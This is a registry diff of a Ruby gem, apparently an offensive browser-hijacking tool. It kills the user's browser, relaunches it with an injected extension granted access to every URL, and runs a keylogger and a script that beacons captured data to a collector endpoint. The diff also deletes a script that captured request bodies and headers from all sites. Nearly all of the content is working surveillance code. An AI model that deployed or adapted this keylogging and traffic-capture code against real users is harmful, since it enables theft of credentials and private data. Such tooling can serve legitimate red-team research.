get-voodoo 0.0.11 → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/voodoo/browser.rb +19 -36
- data/lib/voodoo/cli.rb +18 -30
- data/lib/voodoo/collector.rb +28 -1
- data/lib/voodoo/extension.rb +12 -7
- data/lib/voodoo/js/keylogger.js +4 -3
- data/lib/voodoo/js/voodoo.js +55 -15
- data/lib/voodoo/output.rb +0 -8
- metadata +2 -3
- data/lib/voodoo/js/intercept.js +0 -90
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 6e8e2178d211d0179e93ab412fc8cace43a66123f0066dd7ce4718d239700ac9
|
4
|
+
data.tar.gz: 4dea98486dbe10e781423ce2296f298d3602cac6b4901ac04df22c52206909ab
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 76dd0860f46f7922f23a9b714a68ec5f20971b77ec08e9233b0c774fcf47be8c2d1adbb359479e3f7173b712423d72bebfc8b361b0fccd7cf87c8839bc1a0a55
|
7
|
+
data.tar.gz: d61163401be6e9b06ef78cbbb1c26e195d55d7dff2bca5f67ae1565e2b19b0892caa69695b3fee368452b2df51f84e86e4c360ac348161d37372599e42f70e08
|
data/lib/voodoo/browser.rb
CHANGED
@@ -14,8 +14,9 @@ module VOODOO
|
|
14
14
|
@process_name = process_name
|
15
15
|
@collector_threads = []
|
16
16
|
|
17
|
-
@extension.manifest[:permissions] = ['tabs', '
|
18
|
-
|
17
|
+
@extension.manifest[:permissions] = ['tabs', 'storage']
|
18
|
+
matches = '*://*/*'
|
19
|
+
#@extension.add_content_script(matches, js: [File.join(__dir__, 'js/collector.js')])
|
19
20
|
end
|
20
21
|
|
21
22
|
def keylogger(matches: '*://*/*', max_events: nil)
|
@@ -25,39 +26,31 @@ module VOODOO
|
|
25
26
|
) do |event|
|
26
27
|
yield event
|
27
28
|
end
|
28
|
-
end
|
29
|
-
|
30
|
-
def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil, max_events: nil)
|
31
|
-
options = {
|
32
|
-
matches: matches,
|
33
|
-
url_include: url_include,
|
34
|
-
body_include: body_include,
|
35
|
-
header_exists: header_exists
|
36
|
-
}
|
37
|
-
|
38
|
-
add_script(options: options,
|
39
|
-
background: true,
|
40
|
-
max_events: max_events,
|
41
|
-
file: File.join(__dir__, 'js/intercept.js')
|
42
|
-
) do |event|
|
43
|
-
yield event
|
44
|
-
end
|
45
|
-
end
|
29
|
+
end
|
46
30
|
|
47
31
|
def add_permissions(permissions)
|
48
32
|
permissions = [permissions] unless permissions.is_a? Array
|
49
33
|
@extension.manifest[:permissions] += permissions
|
50
34
|
end
|
51
35
|
|
52
|
-
def
|
36
|
+
def add_host_permissions(hosts)
|
37
|
+
hosts = [hosts] unless hosts.is_a? Array
|
38
|
+
@extension.manifest[:host_permissions] += hosts
|
39
|
+
end
|
40
|
+
|
41
|
+
def close_browser
|
53
42
|
# kill the browser process twise, to bypass close warning
|
54
43
|
`pkill -a -i "#{@process_name}"`
|
55
44
|
`pkill -a -i "#{@process_name}"`
|
56
45
|
sleep 0.2
|
46
|
+
end
|
47
|
+
|
48
|
+
def hijack(urls = [], flags: '')
|
49
|
+
close_browser()
|
57
50
|
|
58
51
|
urls = [urls] unless urls.kind_of? Array
|
59
52
|
urls = urls.uniq
|
60
|
-
|
53
|
+
|
61
54
|
`open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`
|
62
55
|
|
63
56
|
if urls.length > 0
|
@@ -92,7 +85,7 @@ module VOODOO
|
|
92
85
|
self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
|
93
86
|
end
|
94
87
|
|
95
|
-
def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil)
|
88
|
+
def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true)
|
96
89
|
if matches != nil && background != false
|
97
90
|
puts 'WARNING: matches is ignored when background is set to true.'
|
98
91
|
end
|
@@ -107,8 +100,8 @@ module VOODOO
|
|
107
100
|
|
108
101
|
event_count = 0
|
109
102
|
|
110
|
-
if block_given?
|
111
|
-
collector = Collector.new
|
103
|
+
if block_given? && communication == true
|
104
|
+
collector = Collector.new(close_browser: method(:close_browser))
|
112
105
|
collector.on_json {|jsond|
|
113
106
|
yield jsond
|
114
107
|
if (max_events != nil)
|
@@ -149,24 +142,14 @@ module VOODOO
|
|
149
142
|
content = content % options
|
150
143
|
|
151
144
|
if background == true
|
152
|
-
return @extension.
|
145
|
+
return @extension.add_service_worker(content: content)
|
153
146
|
else
|
154
147
|
if matches == nil
|
155
148
|
matches = '*://*/*'
|
156
149
|
end
|
157
|
-
|
158
150
|
return @extension.add_content_script(matches, js: [content])
|
159
151
|
end
|
160
152
|
end
|
161
|
-
|
162
|
-
protected
|
163
|
-
|
164
|
-
def make_collector
|
165
|
-
collector = Collector.new
|
166
|
-
collector.on_json {|jsond| yield jsond }
|
167
|
-
@collector_threads.push(collector.thread)
|
168
|
-
return collector
|
169
|
-
end
|
170
153
|
end
|
171
154
|
|
172
155
|
end
|
data/lib/voodoo/cli.rb
CHANGED
@@ -6,7 +6,7 @@ require 'voodoo/browser'
|
|
6
6
|
|
7
7
|
module VOODOO
|
8
8
|
|
9
|
-
VERSION = 'v0.0
|
9
|
+
VERSION = 'v0.1.0'
|
10
10
|
|
11
11
|
class CLI < Thor
|
12
12
|
|
@@ -14,30 +14,6 @@ module VOODOO
|
|
14
14
|
def version
|
15
15
|
puts VERSION
|
16
16
|
end
|
17
|
-
|
18
|
-
option :url_include, :type => :string, :aliases => :u, :default => nil
|
19
|
-
option :body_include, :type => :string, :aliases => :i, :default => nil
|
20
|
-
option :header_exists, :type => :string, :aliases => :h, :default => nil
|
21
|
-
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload'
|
22
|
-
option :output, :type => :string, :aliases => :o, :desc => 'File path', :default => nil
|
23
|
-
option :urls, :type => :array, :aliases => :x, :default => []
|
24
|
-
option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
|
25
|
-
option :browser, :type => :string, :aliases => :b, :default => 'chrome'
|
26
|
-
option :max_events, :type => :numeric, :default => nil
|
27
|
-
desc 'intercept', 'Intercept browser requests'
|
28
|
-
def intercept
|
29
|
-
browser = get_browser options[:browser]
|
30
|
-
output_handler = Output.new(file: options[:output], in_format: options[:format], for_command: 'intercept')
|
31
|
-
|
32
|
-
browser.intercept(matches: options[:matches],
|
33
|
-
url_include: options[:url_include],
|
34
|
-
body_include: options[:body_include],
|
35
|
-
max_events: options[:max_events]) do |event|
|
36
|
-
output_handler.handle(event)
|
37
|
-
end
|
38
|
-
|
39
|
-
browser.hijack options[:urls]
|
40
|
-
end
|
41
17
|
|
42
18
|
option :urls, :type => :array, :aliases => :x, :default => []
|
43
19
|
option :format, :type => :string, :aliases => :f, :default => 'pretty', :desc => 'pretty, json, payload, none'
|
@@ -56,7 +32,7 @@ module VOODOO
|
|
56
32
|
file = nil
|
57
33
|
content = nil
|
58
34
|
|
59
|
-
if File.
|
35
|
+
if File.exist? path_or_js
|
60
36
|
file = path_or_js
|
61
37
|
else
|
62
38
|
content = path_or_js
|
@@ -108,11 +84,15 @@ module VOODOO
|
|
108
84
|
end
|
109
85
|
|
110
86
|
browser_inst = template['browser'] || {}
|
111
|
-
browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
|
87
|
+
browser = get_browser(options[:browser] || browser_inst['name'] || browser_inst['default'] || 'chrome')
|
112
88
|
|
113
89
|
if template['permissions']
|
114
90
|
browser.add_permissions template['permissions']
|
115
91
|
end
|
92
|
+
|
93
|
+
if template['host_permissions']
|
94
|
+
browser.add_host_permissions template['host_permissions']
|
95
|
+
end
|
116
96
|
|
117
97
|
output_format = options[:format]
|
118
98
|
is_default = output_format == 'none'
|
@@ -126,11 +106,19 @@ module VOODOO
|
|
126
106
|
template['scripts'].each do |script|
|
127
107
|
file = File.expand_path(File.join(pwd, script['file'])) if script['file']
|
128
108
|
content = script['content']
|
129
|
-
matches = script['matches']
|
109
|
+
matches = script['matches'] || ['*://*/*']
|
130
110
|
background = script['background'] || false
|
131
|
-
|
111
|
+
if background
|
112
|
+
matches = nil
|
113
|
+
end
|
114
|
+
communication = true
|
115
|
+
|
116
|
+
if script.keys.include? 'communication'
|
117
|
+
communication = script['communication']
|
118
|
+
end
|
119
|
+
|
132
120
|
if output_handler.writable
|
133
|
-
browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background) do |event|
|
121
|
+
browser.add_script(max_events: options[:max_events], matches: matches, file: file, content: content, options: options[:params], background: background, communication: communication) do |event|
|
134
122
|
output_handler.handle(event)
|
135
123
|
end
|
136
124
|
else
|
data/lib/voodoo/collector.rb
CHANGED
@@ -9,7 +9,9 @@ module VOODOO
|
|
9
9
|
attr_reader :thread
|
10
10
|
attr_reader :token
|
11
11
|
|
12
|
-
def initialize(port = 0)
|
12
|
+
def initialize(port = 0, close_browser: nil)
|
13
|
+
@chunks = []
|
14
|
+
@close_browser = close_browser
|
13
15
|
if port == 0
|
14
16
|
tmp_server = TCPServer.open('127.0.0.1', 0)
|
15
17
|
@port = tmp_server.addr[1]
|
@@ -50,6 +52,31 @@ module VOODOO
|
|
50
52
|
socket.close
|
51
53
|
|
52
54
|
jsonData = JSON.parse(post_body, {:symbolize_names => true})
|
55
|
+
|
56
|
+
if jsonData[:log]
|
57
|
+
puts jsonData[:log]
|
58
|
+
end
|
59
|
+
|
60
|
+
if jsonData[:chunk]
|
61
|
+
@chunks << jsonData[:payload][1]
|
62
|
+
if jsonData[:payload][0] == @chunks.length
|
63
|
+
payload = {
|
64
|
+
payload: @chunks.join('')
|
65
|
+
}
|
66
|
+
@chunks = []
|
67
|
+
yield payload
|
68
|
+
end
|
69
|
+
return
|
70
|
+
end
|
71
|
+
|
72
|
+
if jsonData[:kill] == true
|
73
|
+
if jsonData[:close_browser] && @close_browser != nil
|
74
|
+
@close_browser.call()
|
75
|
+
end
|
76
|
+
self.thread.kill
|
77
|
+
return
|
78
|
+
end
|
79
|
+
|
53
80
|
yield jsonData
|
54
81
|
rescue
|
55
82
|
end
|
data/lib/voodoo/extension.rb
CHANGED
@@ -17,16 +17,17 @@ module VOODOO
|
|
17
17
|
author: '~',
|
18
18
|
description: '',
|
19
19
|
version: '0.0.1',
|
20
|
-
manifest_version:
|
21
|
-
background: {
|
22
|
-
scripts: []
|
23
|
-
},
|
20
|
+
manifest_version: 3,
|
24
21
|
permissions: [],
|
25
|
-
|
22
|
+
host_permissions: [],
|
23
|
+
content_scripts: [],
|
24
|
+
background: {
|
25
|
+
service_worker: nil
|
26
|
+
}
|
26
27
|
}
|
27
28
|
end
|
28
29
|
|
29
|
-
def
|
30
|
+
def add_service_worker(content: nil, file: nil)
|
30
31
|
if content == nil && file != nil
|
31
32
|
content = File.read file
|
32
33
|
end
|
@@ -34,7 +35,7 @@ module VOODOO
|
|
34
35
|
raise StandardError.new(':content or :file argument are required')
|
35
36
|
end
|
36
37
|
path = add_file(content, with_extension: '.js')
|
37
|
-
@manifest[:background][:
|
38
|
+
@manifest[:background][:service_worker] = path
|
38
39
|
end
|
39
40
|
|
40
41
|
def add_content_script(matches, js: [], css: [])
|
@@ -52,6 +53,10 @@ module VOODOO
|
|
52
53
|
|
53
54
|
def save
|
54
55
|
@manifest[:permissions] = @manifest[:permissions].uniq
|
56
|
+
service_worker = @manifest[:background][:service_worker]
|
57
|
+
if service_worker == nil || service_worker == ''
|
58
|
+
@manifest[:background].delete(:service_worker)
|
59
|
+
end
|
55
60
|
manifest_path = File.join(@folder, 'manifest.json')
|
56
61
|
File.write(manifest_path, JSON.generate(@manifest))
|
57
62
|
return @folder
|
data/lib/voodoo/js/keylogger.js
CHANGED
@@ -40,9 +40,10 @@
|
|
40
40
|
});
|
41
41
|
|
42
42
|
window.addEventListener("keydown", function (event) {
|
43
|
-
|
44
|
-
|
45
|
-
|
43
|
+
const path = event.composedPath();
|
44
|
+
if (lastElement !== path[0]) {
|
45
|
+
lastElement = path[0];
|
46
|
+
output += `\n[ELEMENT => ${describe(path[0])}]\n`;
|
46
47
|
}
|
47
48
|
if (event.key.length > 1) {
|
48
49
|
output += `[${event.key}]`;
|
data/lib/voodoo/js/voodoo.js
CHANGED
@@ -1,28 +1,68 @@
|
|
1
|
-
|
2
|
-
sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
|
3
|
-
}
|
1
|
+
let tab_uuid = Math.random().toString(16).substring(2);
|
4
2
|
|
5
3
|
const VOODOO = {
|
6
4
|
options: { collector_url: "%{collector_url}" },
|
7
|
-
|
8
|
-
|
5
|
+
utils: {
|
6
|
+
sleep(ms) {
|
7
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
8
|
+
},
|
9
|
+
chunk_string(str, length) {
|
10
|
+
return str.match(new RegExp('.{1,' + length + '}', 'g'));
|
11
|
+
},
|
12
|
+
send(body) {
|
13
|
+
if (!VOODOO.options.collector_url) {
|
14
|
+
return;
|
15
|
+
}
|
16
|
+
|
17
|
+
body = JSON.stringify(body);
|
18
|
+
if (navigator && navigator.sendBeacon) {
|
19
|
+
navigator.sendBeacon(VOODOO.options.collector_url, body);
|
20
|
+
} else {
|
21
|
+
fetch(VOODOO.options.collector_url, {
|
22
|
+
method: "POST",
|
23
|
+
headers: {
|
24
|
+
"Content-Type": "application/json"
|
25
|
+
},
|
26
|
+
mode: "no-cors",
|
27
|
+
body
|
28
|
+
});
|
29
|
+
}
|
30
|
+
}
|
31
|
+
},
|
32
|
+
log(msg) {
|
33
|
+
VOODOO.utils.send({ log: msg.toString() });
|
34
|
+
return VOODOO;
|
35
|
+
},
|
36
|
+
kill(options = {}) {
|
37
|
+
VOODOO.utils.send({ ...options, kill: true });
|
38
|
+
return VOODOO;
|
39
|
+
},
|
40
|
+
async send(payload) {
|
41
|
+
let chunks = [];
|
42
|
+
|
43
|
+
if (typeof payload === "string" && payload.length > 10000) {
|
44
|
+
chunks = VOODOO.utils.chunk_string(payload, 10000);
|
45
|
+
}
|
46
|
+
|
47
|
+
if (chunks.length > 0) {
|
48
|
+
for (let i in chunks) {
|
49
|
+
VOODOO.utils.send({
|
50
|
+
chunk: i,
|
51
|
+
payload: [chunks.length, chunks[i]]
|
52
|
+
});
|
53
|
+
await VOODOO.utils.sleep(1);
|
54
|
+
}
|
9
55
|
return;
|
10
56
|
}
|
11
57
|
|
12
|
-
|
58
|
+
VOODOO.utils.send({
|
13
59
|
time: new Date().getTime(),
|
14
|
-
tab_uuid:
|
15
|
-
origin:
|
60
|
+
tab_uuid: tab_uuid,
|
61
|
+
origin: location.origin,
|
16
62
|
payload
|
17
63
|
});
|
18
64
|
|
19
|
-
|
20
|
-
return navigator.sendBeacon(VOODOO.options.collector_url, body);
|
21
|
-
}
|
22
|
-
|
23
|
-
chrome.runtime.sendMessage({
|
24
|
-
collector_url: VOODOO.options.collector_url, body
|
25
|
-
});
|
65
|
+
return VOODOO;
|
26
66
|
}
|
27
67
|
};
|
28
68
|
|
data/lib/voodoo/output.rb
CHANGED
@@ -35,14 +35,6 @@ module VOODOO
|
|
35
35
|
case @command
|
36
36
|
when 'keylogger'
|
37
37
|
write event[:payload], with_print: true
|
38
|
-
when 'intercept'
|
39
|
-
req = event[:payload]
|
40
|
-
write "#{req[:method]} #{req[:url]}"
|
41
|
-
req[:body] = req[:body][0...97] + "..." if req[:body] && req[:body].length > 100
|
42
|
-
|
43
|
-
if req[:body]
|
44
|
-
write "BODY: #{event[:payload][:body]}"
|
45
|
-
end
|
46
38
|
else
|
47
39
|
write JSON.generate(event[:payload])
|
48
40
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: get-voodoo
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0
|
4
|
+
version: 0.1.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Ron Masas
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date:
|
11
|
+
date: 2024-12-23 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: thor
|
@@ -80,7 +80,6 @@ files:
|
|
80
80
|
- lib/voodoo/collector.rb
|
81
81
|
- lib/voodoo/extension.rb
|
82
82
|
- lib/voodoo/js/collector.js
|
83
|
-
- lib/voodoo/js/intercept.js
|
84
83
|
- lib/voodoo/js/keylogger.js
|
85
84
|
- lib/voodoo/js/voodoo.js
|
86
85
|
- lib/voodoo/output.rb
|
data/lib/voodoo/js/intercept.js
DELETED
@@ -1,90 +0,0 @@
|
|
1
|
-
/**
|
2
|
-
* VOODOO Intercept
|
3
|
-
*/
|
4
|
-
(function () {
|
5
|
-
let options = {
|
6
|
-
body_include: "%{body_include}",
|
7
|
-
url_include: "%{url_include}",
|
8
|
-
collector_url: "%{collector_url}",
|
9
|
-
header_exists: "%{header_exists}"
|
10
|
-
};
|
11
|
-
|
12
|
-
let matches = "%{matches}";
|
13
|
-
|
14
|
-
if (options.header_exists) {
|
15
|
-
options.header_exists = options.header_exists.toLowerCase();
|
16
|
-
}
|
17
|
-
|
18
|
-
if (!Array.isArray(matches)) {
|
19
|
-
matches = [matches];
|
20
|
-
}
|
21
|
-
|
22
|
-
function parseBody(body) {
|
23
|
-
if (body.formData) {
|
24
|
-
return JSON.stringify(body.formData);
|
25
|
-
}
|
26
|
-
|
27
|
-
try {
|
28
|
-
return body.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
|
29
|
-
} catch {
|
30
|
-
return "";
|
31
|
-
}
|
32
|
-
}
|
33
|
-
|
34
|
-
const requests = new Map();
|
35
|
-
|
36
|
-
chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
|
37
|
-
const request = requests.get(e.requestId);
|
38
|
-
|
39
|
-
if (!request) {
|
40
|
-
return;
|
41
|
-
}
|
42
|
-
|
43
|
-
requests.delete(e.requestId);
|
44
|
-
request.headers = e.requestHeaders;
|
45
|
-
|
46
|
-
if (options.header_exists) {
|
47
|
-
let found = false;
|
48
|
-
for (let header of request.headers) {
|
49
|
-
if (header.name.toLowerCase() === options.header_exists) {
|
50
|
-
found = true;
|
51
|
-
break;
|
52
|
-
}
|
53
|
-
}
|
54
|
-
if (!found) {
|
55
|
-
return;
|
56
|
-
}
|
57
|
-
}
|
58
|
-
|
59
|
-
VOODOO.send(request);
|
60
|
-
}, { urls: matches }, ['requestHeaders', 'extraHeaders'])
|
61
|
-
|
62
|
-
chrome.webRequest.onBeforeRequest.addListener(
|
63
|
-
function (request) {
|
64
|
-
if (request.url.startsWith(options.collector_url)) {
|
65
|
-
return { cancel: false };
|
66
|
-
}
|
67
|
-
|
68
|
-
if (options.url_include && request.url.indexOf(options.url_include) === -1) {
|
69
|
-
return { cancel: false };
|
70
|
-
}
|
71
|
-
|
72
|
-
if (options.body_include && !request.requestBody) {
|
73
|
-
return { cancel: false };
|
74
|
-
}
|
75
|
-
|
76
|
-
if (request.requestBody) {
|
77
|
-
request.body = parseBody(request.requestBody);
|
78
|
-
delete request.requestBody;
|
79
|
-
if (options.body_include && request.body.indexOf(options.body_include) === -1) {
|
80
|
-
return { cancel: false };
|
81
|
-
}
|
82
|
-
}
|
83
|
-
|
84
|
-
requests.set(request.requestId, request);
|
85
|
-
return { cancel: false };
|
86
|
-
},
|
87
|
-
{ urls: matches },
|
88
|
-
['requestBody']
|
89
|
-
);
|
90
|
-
})();
|